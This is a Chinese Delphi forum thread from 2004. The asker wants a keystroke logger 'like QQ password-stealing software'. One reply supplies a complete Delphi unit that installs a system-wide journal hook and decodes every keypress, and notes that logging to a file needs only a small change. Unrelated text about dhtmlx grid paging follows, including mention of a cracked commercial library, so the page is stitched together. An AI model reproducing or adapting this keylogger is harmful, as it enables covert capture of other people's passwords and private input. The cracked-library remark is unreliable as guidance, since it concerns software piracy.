&&&&&&&&&&&&&&关于记录键盘消息&&&&&&&&&&&& 马上结帐

LWWL 2004-06-28 09:07:23
我想做个记录屏幕键盘信息的程序 把按键信息保存到1个文本里面,类似于盗QQ密码的软件,我知道用HOOK实现 不知道怎么做
哪位大侠以前写过 可否给小弟一个源码?要判断大小写和数字
分不够我继续加。

成功后马上结帐
...全文
103 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
juliens 2004-06-28
  • 打赏
  • 举报
回复
查一下MSDN就知道了,它是用来调用钩子链中的下一个钩子!
juliens 2004-06-28
  • 打赏
  • 举报
回复
API函数!
LWWL 2004-06-28
  • 打赏
  • 举报
回复
CallNextHookEx 是系统函数 还是自定义函数?
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
else if Keyvalue=35 then
begin
Form1.Label1.Caption:='End'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=27 then
begin
Form1.Label1.Caption:='ESC'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=8 then
begin
Form1.Label1.Caption:='Back Sapce'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=45 then
begin
Form1.Label1.Caption:='Insert'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=33 then
begin
Form1.Label1.Caption:='Page Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=34 then
begin
Form1.Label1.Caption:='Page Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=36 then
begin
Form1.Label1.Caption:='Hone'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=38 then
begin
Form1.Label1.Caption:='Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=37 then
begin
Form1.Label1.Caption:='Left'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=40 then
begin
Form1.Label1.Caption:='Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=39 then
begin
Form1.Label1.Caption:='Right'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=107 then
begin
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=109 then
begin
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=111 then
begin
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=106 then
begin
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=219 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='{'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='['+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=221 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='}'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=']'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=110 then
begin
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=186 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=':'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=';'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=222 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='”'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='’'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=49 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='!'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='1'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=50 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='@'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='2'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=51 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='#'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='3'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=52 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='$'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='4'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=53 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='%'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='5'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=54 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='^'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='6'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=55 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='&'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='7'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=56 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='8'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=57 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='('+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='9'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=48 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=')'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='0'+': '+INTtoStr(KeyValue);
exit;
end
else
temp:=KeyValue;

Form1.Label1.Caption:=char(temp)+': '+INTtoStr(temp);

end;
end;
End; // KbHook

procedure TForm1.Button1Click(Sender: TObject);
begin
if oldHook=0 then
oldHook := SetWindowsHookEx( WH_JOURNALRECORD, @KbHook, HInstance, 0);

end;
procedure TForm1.Button2Click(Sender: TObject);
begin
If oldHook <> 0 Then
Begin
UnhookWindowshookEx( oldHook );
oldHook := 0;
End; // If

end;



end.
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
建立一个工程文件,把这个单元拷过去 ,然后运行,就可以看见了,不过你要保存到
文件,带需要改一孜,应该不是很难
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var
Form1: TForm1;
oldHook:Hhook;
implementation

{$R *.dfm}
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var temp,KeyValue:UINT;
ks: TkeyBoardState;
Begin
result:=0;
If code < 0 Then
begin
result:= CallNextHookEx( oldHook, code, wparam, lparam );
end
Else begin
if pEventMSG(lParam)^.message=WM_KEYDOWN then
begin
KeyValue:=pEventMSG(lParam)^.paramL mod 256;
GetKeyboardState(ks);
if (KeyValue>=65) and (KeyValue<92)then
begin
if (ks[VK_CAPITAL]<>1) then
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue
else
temp:=KeyValue+32
else
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue+32
else
temp:=KeyValue;
end
else if(KeyValue>=96)and(KeyValue<106) then
temp:=KeyValue-48
else if(KeyValue>=112)and(KeyValue<124) then
begin
Form1.Label1.Caption:='F'+IntTostr(KeyValue-111)+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=13 then
begin
Form1.Label1.Caption:='Enter'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=32 then
begin
Form1.Label1.Caption:='Space'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=16 then
begin
Form1.Label1.Caption:='Shift'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=17 then
begin
Form1.Label1.Caption:='Ctrl or Alt'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=20 then
begin
Form1.Label1.Caption:='Caps Lock'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=9 then
begin
Form1.Label1.Caption:='Tab'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=188 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='<'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=','+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=190 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='>'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=191 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='?'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=192 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='~'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='`'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=189 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='_'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=187 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='='+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=220 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='|'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='\'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=46 then
begin
Form1.Label1.Caption:='Delete'+': '+INTtoStr(KeyValue);
exit;
end
ztenv 2004-06-28
  • 打赏
  • 举报
回复
要用到系统级的钩子,也就是把钩子的实现过程写到DLL中,接着要挂钩(setwindowshookex),
1 之前上传了dhtmlx的官方demo上去 都很久了 (http: download csdn net detail pxzsky 2946815)看大家最近有需求 希望得到实际的使用代码 因为组件很多 所以我觉得大家可能对一些核心组件还是很感兴趣的 特别是分页列表 树等 这个在项目测试中我都用过了 这次先把列表的拿出来 2 因为涉及版权问题 如果你的产品要开源或者花钱购买授权 都没问题 否则最好还是仅仅内网学习使用 否 则需要考虑后果的 目前dhmtl只有GPL协议和商业协议 3 在我的其他资源中也有关于列表和树的组件使用示例: http: download csdn net detail pxzsky 6659071 这个工程是免费的(也可以认为开源) 里面使用了dhtml tree grid 很多地方用了tree 而grid目前只剩下角色管理列表了 后续也不想再用grid了 你可以参考 如果不想麻烦 那么就接着往下看 4 在它的免费版中(就是可以开源的) 最早(2 5)是没有分页库的 只有商业版有 后来经过高人指点 得到了crack 带有分页js库 很好用 其实主要是知道js中要传递的分页参数名字就ok了 5 资源包中有具体使用代码和组件的整个js 前端使用jsp 你只需要看分页那部分即可 其他的传的变量可以不管 以下粘贴重要的ui代码调用: <script type "text javascript"> var currpage <% request getParameter "cntPage" %>; 记录当前页面 $ document ready function { 初始化列表 initGrid ; } ; window dhx globalImgPath "${ctx} images public "; 初始化列表 function initGrid { showSkyLoading "数据加载中 请稍候 " ; mygrid new dhtmlXGridObject "projectlist" ; mygrid setImagePath " script dhtml grid imgs " ; mygrid setHeader "客户 项目 状态 是否ZZ 审核 提交时间 提交人 编辑 删除" ; mygrid setInitWidths " 180 90 50 70 90 70 50 50" ; mygrid setColAlign "left left left center left left left left left" ; mygrid setColTypes "ro ro ro ro ro ro ro ro ro" ; mygrid enableAutoHeight true "460" ; mygrid init ; mygrid setSkin "gray" ; mygrid enablePaging true ${splitPageSize} 5 "pagingArea" true "recinfoArea" ; mygrid loadXML "${ctx} project getProjectList action userScope " + ${userScope} ajustDms "xml" ; } function ajustDms { hideSkyLoading ; ajustFrameDms ; if currpage null && currpage "" && currpage "null" { mygrid changePage currpage ; } } < script> 后台接收分页参数: int iposStart 0; String posStart this getParameter "posStart" ; 相当于request getParameter "posStart" ; if posStart null && posStart equals "" { iposStart Integer parseInt posStart ; } int splitPageSize PreferenceUtil getSplitPageSize ; 当前列表分页条数配置(pageSize) 默认15条 SplitPageInfo spi new SplitPageInfo ; spi setPageSize splitPageSize ; 设置当前页信息 int currentPage 0; currentPage iposStart splitPageSize + 1; spi setCurrentPage currentPage ; 因为这个版本已经很老了 所以在IE10或其他新浏览器中会有些变形 如果用新版本 这个分页库能不能继续使用只有自己再尝试了 希望这个对大家有用 ">1 之前上传了dhtmlx的官方demo上去 都很久了 (http: download csdn net detail pxzsky 2946815)看大家最近有需求 希望得到实际的使用代码 因为组件很多 所以我觉得大家可能对一些核心组件还是很感兴趣的 特别是分页列表 树等 [更多]

5,930

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧